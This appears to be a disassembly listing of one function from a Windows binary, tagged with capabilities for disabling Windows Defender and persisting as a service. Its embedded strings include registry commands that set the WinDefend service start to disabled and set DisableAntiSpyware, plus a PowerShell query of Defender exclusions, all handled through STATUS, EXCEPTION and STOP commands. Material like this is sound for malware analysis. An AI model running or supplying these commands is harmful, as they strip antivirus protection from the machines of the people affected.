Function at 0x1400068c0
Capabilities:
Disable windows defender features via registry on windows
Execute command
Persist via windows service
Set registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x300]
sub rsp, 0x400
mov rax, qword [0x14002b028]
xor rax, rsp
mov qword [rbp + 0x2f8], rax
mov r14, rdx
mov qword [rbp - 0x80], rdx
mov rax, rcx
mov qword [rsp + 0x58], rcx
mov qword [rbp + 0x58], rcx
mov qword [rbp + 0xe0], rdx
xor r12d, r12d
mov dword [rsp + 0x44], r12d
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [rax], xmm0
mov qword [rax + 0x10], rcx
movdqa xmmword [rbp + 0x60], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x70], xmm1
movdqa xmmword [rbp + 0x80], xmm0
movdqa xmmword [rbp + 0x90], xmm1
movdqa xmmword [rbp + 0xa0], xmm0
movdqa xmmword [rbp + 0xb0], xmm1
lea rcx, [rbp + 0x60]
mov qword [rbp - 0x70], rcx
lea rcx, [rbp + 0xc0]
mov qword [rbp - 0x68], rcx
lea rdx, [rbp - 0x70]
mov rcx, rax
call fcn.14000ac00
mov edi, 1
mov dword [rsp + 0x44], edi
lea r9, [fcn.14000c0d0]
lea edx, [rdi + 0x17]
lea r8d, [r12 + 4]
lea rcx, [rbp + 0x60]
call fcn.14001e48c
mov rcx, r14
mov rsi, qword [r14 + 0x18]
cmp rsi, 0x10
jb 0x14000699b
mov rcx, qword [r14]
mov rbx, qword [r14 + 0x10]
cmp rbx, 6
jne 0x140007145
mov r8, rbx
lea rdx, str.STATUS
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140007145
lea rdx, str.reg_query__HKLMSYSTEMCurrentControlSetServicesWinDefend___v__Start_
lea rcx, [rbp + 0x240]
call fcn.140001310
mov rdx, rax
lea rcx, [rbp + 0x220]
call fcn.140002140
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x108], xmm0
mov qword [rbp + 0x118], rax
lea rax, [rbp - 0x28]
mov qword [rsp + 0x48], rax
lea rdx, [0x14002296c]
lea rcx, [rbp - 0x28]
call fcn.140001310
mov rbx, rax
lea rdx, [rbp + 0x220]
lea rcx, [rbp - 0x50]
call fcn.14000c820
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x108]
call fcn.140001960
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c0], xmm0
mov rsi, r12
mov qword [rbp + 0x1d0], r12
mov r15d, 0xf
mov qword [rbp + 0x1d8], r15
mov byte [rbp + 0x1c0], sil
mov r13, r12
mov rax, qword [rbp + 0x110]
mov rcx, qword [rbp + 0x108]
sub rax, rcx
lea r12d, [r15 - 0xd]
cmp rax, 0x20
jb 0x140006e3b
xor esi, esi
mov r12d, esi
lea rdx, [0x140022970]
movabs r8, 0x7fffffffffffffff
lea r9, [rcx + r12]
mov rcx, qword [r9 + 0x10]
mov rax, r8
sub rax, rcx
cmp rax, 3
jb 0x1400080a7
cmp qword [r9 + 0x18], 0x10
jb 0x140006ab8
mov r9, qword [r9]
mov qword [rsp + 0x30], 3
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0x160]
call fcn.14000e880
or edi, 2
mov dword [rsp + 0x44], edi
lea rbx, [rbp + 0x160]
mov r14, qword [rbp + 0x178]
cmp r14, 0x10
cmovae rbx, qword [rbp + 0x160]
mov rax, qword [rbp + 0x170]
cmp rax, 5
jb 0x140006b86
lea rsi, [rbx + rax]
lea r8, [rsi - 4]
sub r8, rbx
mov edx, 0x53
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
mov r9, rax
test rax, rax
je 0x140006b84
nop dword [rax]
xor eax, eax
lea rdx, str.Start
nop dword [rax]
movzx ecx, byte [r9 + rax]
inc rax
cmp cl, byte [rdx + rax - 1]
jne 0x140006b58
cmp rax, 5
jne 0x140006b40
xor eax, eax
jmp 0x140006b5d
sbb eax, eax
or eax, 1
test eax, eax
je 0x140006f16
inc r9
lea r8, [rsi - 4]
sub r8, r9
mov edx, 0x53
mov rcx, r9
call sub.VCRUNTIME140.dll_memchr
mov r9, rax
test rax, rax
jne 0x140006b30
xor esi, esi
mov r9, 0xffffffffffffffff
cmp r9d, 0xffffffff
je 0x140006dca
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2b0], xmm0
movups xmmword [rbp + 0x2c0], xmm0
mov qword [rbp + 0x2d0], rax
mov qword [rbp + 0x2b0], rsi
lea rax, [rbp + 0x2b8]
mov qword [rsp + 0x48], rax
mov cl, 1
call qword [sym.imp.MSVCP140.dll_private:_static_class_std::locale::_Locimp____ptr64___cdecl_std::locale::_Init_bool_]
mov qword [rbp + 0x2d0], rax
lea rcx, [rbp + 0x2b8]
call fcn.14000d0e0
nop
lea r8, [0x140022a3a]
lea rdx, str..REG_DWORD___0x__0_9__.
lea rcx, [rbp + 0x2b0]
call fcn.14000da70
nop
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
mov qword [rbp + 8], rsi
mov qword [rbp + 0x10], 0xf
mov byte [rbp - 8], 0
or edi, 4
mov dword [rsp + 0x44], edi
movups xmmword [rbp + 0x2d8], xmm0
mov qword [rbp + 0x2e8], 2
mov qword [rbp + 0x2f0], 0xf
mov eax, 0x3124
mov word [rbp + 0x2d8], ax
mov byte [rbp + 0x2da], 0
lea r9, [rbp + 0x160]
cmp qword [rbp + 0x178], 0x10
setae r10b
cmovae r9, qword [rbp + 0x160]
add r9, qword [rbp + 0x170]
lea r8, [rbp + 0x160]
test r10b, r10b
cmovne r8, qword [rbp + 0x160]
lea rax, [rbp + 0x2d8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x2b0]
mov qword [rsp + 0x20], rax
lea rdx, [rbp - 8]
lea rcx, [rsp + 0x50]
call fcn.14000f7d0
nop
mov rdx, qword [rbp + 0x2f0]
cmp rdx, 0x10
jb 0x140006ce5
inc rdx
mov rcx, qword [rbp + 0x2d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006ce0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006f20
call fcn.14001e2dc
cmp r15, 0x10
jb 0x140006d20
lea rdx, [r15 + 1]
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006d1b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006f27
call fcn.14001e2dc
movups xmm0, xmmword [rbp - 8]
movups xmmword [rbp + 0x1c0], xmm0
movups xmm1, xmmword [rbp + 8]
movups xmmword [rbp + 0x1d0], xmm1
and edi, 0xfffffffb
mov dword [rsp + 0x44], edi
mov rcx, qword [rbp + 0x2b0]
test rcx, rcx
je 0x140006d90
mov eax, 0xffffffff
lock xadd dword [rcx + 0x2c], eax
cmp eax, 1
jne 0x140006d8c
mov rbx, qword [rbp + 0x2b0]
test rbx, rbx
je 0x140006d8c
nop dword [rax]
nop dword [rax + rax]
mov rcx, rbx
lea rax, [rbx + 0x10]
mov rbx, qword [rax]
mov qword [rax], rsi
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
test rbx, rbx
jne 0x140006d70
mov edi, dword [rsp + 0x44]
mov qword [rbp + 0x2b0], rsi
mov rcx, qword [rbp + 0x2d0]
test rcx, rcx
je 0x140006dbc
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x140006dbc
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov r14, qword [rbp + 0x178]
mov r15, qword [rbp + 0x1d8]
cmp r14, 0x10
jb 0x140006e05
lea rdx, [r14 + 1]
mov rcx, qword [rbp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006e00
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006f2e
call fcn.14001e2dc
inc r13
add r12, 0x20
mov rax, qword [rbp + 0x110]
mov rcx, qword [rbp + 0x108]
sub rax, rcx
sar rax, 5
cmp r13, rax
jne 0x140006a85
mov rsi, qword [rbp + 0x1d0]
mov r14, qword [rbp - 0x80]
mov r12d, 2
lea rcx, [rbp + 0x1c0]
mov rbx, qword [rbp + 0x1c0]
cmp r15, 0x10
cmovae rcx, rbx
cmp rsi, 1
jne 0x140006e6a
mov r8, rsi
lea rdx, [0x140022c40]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140006e9a
lea rcx, [rbp + 0x1c0]
cmp r15, 0x10
cmovae rcx, rbx
cmp rsi, 1
jne 0x140006fc1
mov r8, rsi
lea rdx, [0x140022c44]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140006fc1
xorps xmm0, xmm0
movups xmmword [rbp + 0xe8], xmm0
mov qword [rbp + 0xf8], 3
mov qword [rbp + 0x100], 0xf
movzx eax, word [0x140022a40]
mov word [rbp + 0xe8], ax
movzx eax, byte [0x140022a42]
mov byte [rbp + 0xea], al
mov byte [rbp + 0xeb], 0
mov rax, qword [rsp + 0x58]
mov rcx, qword [rax]
mov rdx, qword [rcx + 8]
cmp rdx, qword [rcx + 0x10]
je 0x140006f35
movups xmm0, xmmword [rbp + 0xe8]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0xf8]
movups xmmword [rdx + 0x10], xmm1
mov edx, 0xf
mov byte [rbp + 0xe8], 0
add qword [rcx + 8], 0x20
jmp 0x140006f48
sub r9, rbx
xor esi, esi
jmp 0x140006b8d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea r8, [rbp + 0xe8]
call fcn.14000eb80
mov rdx, qword [rbp + 0x100]
cmp rdx, 0x10
jb 0x140006f83
inc rdx
mov rcx, qword [rbp + 0xe8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006f7d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000707a
call fcn.14001e2dc
nop
cmp r15, 0x10
jb 0x14000708a
lea rdx, [r15 + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140007081
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007081
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xe8], xmm0
mov qword [rbp + 0xf8], r12
mov qword [rbp + 0x100], 0xf
mov eax, 0x4e4f
mov word [rbp + 0xe8], ax
mov byte [rbp + 0xea], 0
mov rax, qword [rsp + 0x58]
mov rcx, qword [rax]
mov rdx, qword [rcx + 8]
cmp rdx, qword [rcx + 0x10]
je 0x14000702a
movups xmm0, xmmword [rbp + 0xe8]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0xf8]
movups xmmword [rdx + 0x10], xmm1
mov edx, 0xf
mov byte [rbp + 0xe8], 0
add qword [rcx + 8], 0x20
jmp 0x14000703d
lea r8, [rbp + 0xe8]
call fcn.14000eb80
mov rdx, qword [rbp + 0x100]
cmp rdx, 0x10
jb 0x140006f83
inc rdx
mov rcx, qword [rbp + 0xe8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006f7d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006f7d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rcx, rbx
call fcn.14001e2dc
nop
mov rcx, qword [rbp + 0x108]
test rcx, rcx
je 0x1400070fa
mov rdx, qword [rbp + 0x110]
call fcn.14000dd80
mov rdx, qword [rbp + 0x118]
mov rcx, qword [rbp + 0x108]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400070df
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400070df
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x108], xmm0
mov qword [rbp + 0x118], 0
mov rdx, qword [rbp + 0x238]
cmp rdx, 0x10
jb 0x140008027
inc rdx
mov rcx, qword [rbp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007a06
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007a06
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r14
cmp rsi, 0x10
jb 0x140007151
mov rcx, qword [r14]
cmp rbx, 9
jne 0x140007a10
mov r8, rbx
lea rdx, str.EXCEPTION
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140007a10
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
lea ecx, [rbx + 0x37]
call fcn.14001e2a0
mov qword [rbp + 0x1a0], rax
mov qword [rbp + 0x1b0], 0x31
mov qword [rbp + 0x1b8], 0x3f
movups xmm0, xmmword [str.powershell__Command__Get_MpPreference__fl_excl_]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140022c68]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x140022c78]
movups xmmword [rax + 0x20], xmm0
movzx ecx, byte [0x140022c88]
mov byte [rax + 0x30], cl
mov byte [rax + 0x31], 0
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x240]
call fcn.14000c820
mov rdx, rax
lea rcx, [rbp + 0x200]
call fcn.140002140
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x288], xmm0
movups xmmword [rbp + 0x298], xmm0
mov qword [rbp + 0x2a8], rax
mov qword [rbp + 0x288], r12
lea rax, [rbp + 0x290]
mov qword [rsp + 0x48], rax
mov cl, 1
call qword [sym.imp.MSVCP140.dll_private:_static_class_std::locale::_Locimp____ptr64___cdecl_std::locale::_Init_bool_]
mov qword [rbp + 0x2a8], rax
lea rcx, [rbp + 0x290]
call fcn.14000d0e0
nop
lea r8, [0x140022c90]
lea rdx, [0x140022c8c]
lea rcx, [rbp + 0x288]
call fcn.14000da70
nop
lea r9, [0x140022970]
lea r8, [rbp + 0x288]
lea rdx, [rbp + 0x200]
lea rcx, [rbp + 0x1e0]
call fcn.14000d570
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x120], xmm0
mov qword [rbp + 0x130], rax
lea rax, [rbp + 0x240]
mov qword [rsp + 0x48], rax
lea rdx, [0x14002296c]
lea rcx, [rbp + 0x240]
call fcn.140001310
mov rbx, rax
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp - 0x28]
call fcn.14000c820
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x120]
call fcn.140001960
nop
mov qword [rsp + 0x50], r12
mov rdx, qword [rbp + 0x128]
mov rax, rdx
mov rcx, qword [rbp + 0x120]
sub rax, rcx
cmp rax, 0x20
jb 0x140007868
mov r8, r12
mov qword [rsp + 0x48], r12
nop dword [rax]
lea rdx, [rcx + r8]
lea rcx, [rbp + 0x140]
call fcn.14000c820
nop
lea rdi, [rbp + 0x140]
mov r13, qword [rbp + 0x158]
cmp r13, 0x10
setae byte [rsp + 0x40]
mov rsi, qword [rbp + 0x140]
cmovae rdi, rsi
mov r14, qword [rbp + 0x150]
cmp r14, 0x12
jb 0x14000739c
lea r15, [rdi + r14]
lea r8, [r15 - 0x11]
sub r8, rdi
mov edx, 0x45
mov rcx, rdi
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
je 0x14000739c
mov r8d, 0x12
lea rdx, str.ExclusionExtension
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400074ab
inc rbx
lea r8, [r15 - 0x11]
sub r8, rbx
mov edx, 0x45
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
jne 0x140007360
mov rbx, 0xffffffffffffffff
mov edi, r12d
cmp rbx, 0xffffffffffffffff
setne dil
dec edi
lea r15, [rbp + 0x140]
movzx eax, byte [rsp + 0x40]
test al, al
cmovne r15, rsi
cmp r14, 0x12
jb 0x140007432
lea r12, [r15 + r14]
lea r8, [r12 - 0x11]
sub r8, r15
mov edx, 0x45
mov rcx, r15
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
je 0x14000742d
nop dword [rax]
mov r8d, 0x12
lea rdx, str.ExclusionIpAddress
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400074b3
inc rbx
lea r8, [r12 - 0x11]
sub r8, rbx
mov edx, 0x45
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
jne 0x1400073f0
movzx eax, byte [rsp + 0x40]
lea r15, [rbp + 0x140]
test al, al
cmovne r15, rsi
cmp r14, 0xd
jb 0x1400074e3
lea r12, [r15 + r14]
lea r8, [r12 - 0xc]
sub r8, r15
mov edx, 0x45
mov rcx, r15
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
je 0x1400074de
nop word [rax + rax]
mov r8d, 0xd
lea rdx, str.ExclusionPath
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400074cf
inc rbx
lea r8, [r12 - 0xc]
sub r8, rbx
mov edx, 0x45
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
jne 0x140007470
jmp 0x1400074de
sub rbx, rdi
jmp 0x1400073a3
sub rbx, r15
movzx eax, byte [rsp + 0x40]
cmp rbx, 0xffffffffffffffff
je 0x140007432
mov edi, 1
jmp 0x140007432
sub rbx, r15
cmp rbx, 0xffffffffffffffff
mov eax, 2
cmovne edi, eax
movzx eax, byte [rsp + 0x40]
lea r15, [rbp + 0x140]
test al, al
cmovne r15, rsi
cmp r14, 0x10
jb 0x140007559
lea r12, [r15 + r14]
lea r8, [r12 - 0xf]
sub r8, r15
mov edx, 0x45
mov rcx, r15
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
je 0x140007559
nop word [rax + rax]
mov r8d, 0x10
lea rdx, str.ExclusionProcess
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400075b5
inc rbx
lea r8, [r12 - 0xf]
sub r8, rbx
mov edx, 0x45
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
jne 0x140007520
cmp edi, 0xffffffff
je 0x1400077ee
lea rbx, [rbp + 0x140]
cmp byte [rsp + 0x40], 0
cmovne rbx, rsi
cmp r14, 3
jb 0x1400077ee
lea r8, [r14 - 2]
add r8, rbx
sub r8, rbx
mov edx, 0x23
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x1400077ee
nop dword [rax]
cmp byte [rax], 0x23
jne 0x1400075c5
cmp byte [rax + 1], 0x23
jne 0x1400075c5
cmp byte [rax + 2], 0x23
jne 0x1400075c5
xor ecx, ecx
jmp 0x1400075ca
sub rbx, r15
cmp rbx, 0xffffffffffffffff
je 0x140007559
mov edi, 3
jmp 0x140007562
sbb ecx, ecx
or ecx, 1
test ecx, ecx
je 0x1400075f2
inc rax
lea r8, [r14 - 2]
add r8, rbx
sub r8, rax
mov edx, 0x23
mov rcx, rax
call sub.VCRUNTIME140.dll_memchr
test rax, rax
jne 0x1400075a0
jmp 0x1400077ee
sub rax, rbx
cmp rax, 0xffffffffffffffff
je 0x1400077ee
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x260], xmm0
movups xmmword [rbp + 0x270], xmm0
mov qword [rbp + 0x280], rax
mov qword [rbp + 0x260], rax
lea rax, [rbp + 0x268]
mov qword [rbp - 0x30], rax
mov cl, 1
call qword [sym.imp.MSVCP140.dll_private:_static_class_std::locale::_Locimp____ptr64___cdecl_std::locale::_Init_bool_]
mov qword [rbp + 0x280], rax
lea rcx, [rbp + 0x268]
call fcn.14000d0e0
nop
lea r8, [0x140022cfe]
lea rdx, str.._._.
lea rcx, [rbp + 0x260]
call fcn.14000da70
nop
lea r9, [0x140022998]
lea r8, [rbp + 0x260]
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x180]
call fcn.14000d570
nop
lea rax, [rsp + 0x60]
mov qword [rbp - 0x30], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], 2
mov qword [rsp + 0x78], 0xf
mov eax, 0x202c
mov word [rsp + 0x60], ax
mov byte [rsp + 0x62], 0
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x220]
call fcn.14000c820
nop
lea r8, [rsp + 0x60]
mov rdx, rax
lea rcx, [rbp + 0xe8]
call fcn.140001960
movsxd rcx, edi
lea rdx, [rcx + rcx*2]
mov rcx, qword [rsp + 0x58]
mov rcx, qword [rcx]
lea rcx, [rcx + rdx*8]
mov rdx, rax
call fcn.14000c140
mov rcx, qword [rbp + 0xe8]
test rcx, rcx
je 0x140007751
mov rdx, qword [rbp + 0xf0]
call fcn.14000dd80
mov rdx, qword [rbp + 0xf8]
mov rcx, qword [rbp + 0xe8]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000774b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400078af
call fcn.14001e2dc
nop
mov rdx, qword [rbp + 0x198]
cmp rdx, 0x10
jb 0x140007792
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000778d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400078b6
call fcn.14001e2dc
mov qword [rbp + 0x190], 0
mov qword [rbp + 0x198], 0xf
mov byte [rbp + 0x180], 0
lea rcx, [rbp + 0x260]
call fcn.14000ce20
mov rcx, qword [rbp + 0x280]
test rcx, rcx
je 0x1400077e0
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x1400077e0
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov rsi, qword [rbp + 0x140]
mov r13, qword [rbp + 0x158]
cmp r13, 0x10
jb 0x140007825
lea rdx, [r13 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x14000781d
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400078bd
mov rcx, rsi
call fcn.14001e2dc
mov rbx, qword [rsp + 0x50]
inc rbx
mov qword [rsp + 0x50], rbx
mov r8, qword [rsp + 0x48]
add r8, 0x20
mov qword [rsp + 0x48], r8
mov rdx, qword [rbp + 0x128]
mov rax, rdx
mov rcx, qword [rbp + 0x120]
sub rax, rcx
sar rax, 5
xor r12d, r12d
cmp rbx, rax
jne 0x140007300
mov r14, qword [rbp - 0x80]
test rcx, rcx
je 0x1400078db
call fcn.14000dd80
mov rdx, qword [rbp + 0x130]
mov rcx, qword [rbp + 0x120]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400078c4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400078c4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.14001e2dc
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x120], xmm0
mov qword [rbp + 0x130], r12
mov rdx, qword [rbp + 0x1f8]
cmp rdx, 0x10
jb 0x14000791f
inc rdx
mov rcx, qword [rbp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000791a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000791a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
movdqa xmm0, xmmword [0x140024860]
movdqu xmmword [rbp + 0x1f0], xmm0
mov byte [rbp + 0x1e0], 0
lea rcx, [rbp + 0x288]
call fcn.14000ce20
mov rcx, qword [rbp + 0x2a8]
test rcx, rcx
je 0x140007968
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x140007968
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
nop
mov rdx, qword [rbp + 0x218]
cmp rdx, 0x10
jb 0x1400079ac
inc rdx
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400079a7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400079a7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
movdqa xmm0, xmmword [0x140024860]
movdqu xmmword [rbp + 0x210], xmm0
mov byte [rbp + 0x200], 0
mov rdx, qword [rbp + 0x1b8]
cmp rdx, 0x10
jb 0x140008027
inc rdx
mov rcx, qword [rbp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007a06
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007a06
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
jmp 0x140008027
mov rcx, r14
cmp rsi, 0x10
jb 0x140007a1c
mov rcx, qword [r14]
cmp rbx, 4
jne 0x140007fcb
mov r8, rbx
lea rdx, str.STOP
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140007fcb
xorps xmm0, xmm0
movups xmmword [rbp + 0xe8], xmm0
mov qword [rbp + 0xf8], 1
mov qword [rbp + 0x100], 0xf
mov word [rbp + 0xe8], 0x26
mov qword [rsp + 0x30], 1
lea rax, [rbp + 0xe8]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x5a
lea r9, str.reg_add__HKLMSYSTEMCurrentControlSetServicesWinDefend___v__Start___t_REG_DWORD__d_4__f
lea rcx, [rbp - 0x28]
call fcn.14000e880
mov dword [rsp + 0x44], 0x21
lea r8d, [rbx + 0x69]
lea rdx, str.reg_add__HKLMSOFTWAREPoliciesMicrosoftWindows_Defender___v__AllowFastServiceStartup___t_REG_DWORD__d_0__f
lea rcx, [rbp - 0x28]
call fcn.14000cea0
xorps xmm0, xmm0
movups xmmword [rbp + 0x220], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x230], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x220], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x230], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov dword [rsp + 0x44], 0x61
lea rdx, [rbp + 0xe8]
cmp qword [rbp + 0x100], 0x10
cmovae rdx, qword [rbp + 0xe8]
mov r8, qword [rbp + 0xf8]
lea rcx, [rbp + 0x220]
call fcn.14000cea0
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x40], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov dword [rsp + 0x44], 0xe1
lea r8d, [rbx + 0x64]
lea rdx, str.reg_add__HKLMSOFTWAREPoliciesMicrosoftWindows_Defender___v__DisableAntiSpyware___t_REG_DWORD__d_1__f
lea rcx, [rbp - 0x50]
call fcn.14000cea0
xorps xmm0, xmm0
movups xmmword [rbp + 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x48], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x48], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov dword [rsp + 0x44], 0x1e1
lea rdx, [rbp + 0xe8]
cmp qword [rbp + 0x100], 0x10
cmovae rdx, qword [rbp + 0xe8]
mov r8, qword [rbp + 0xf8]
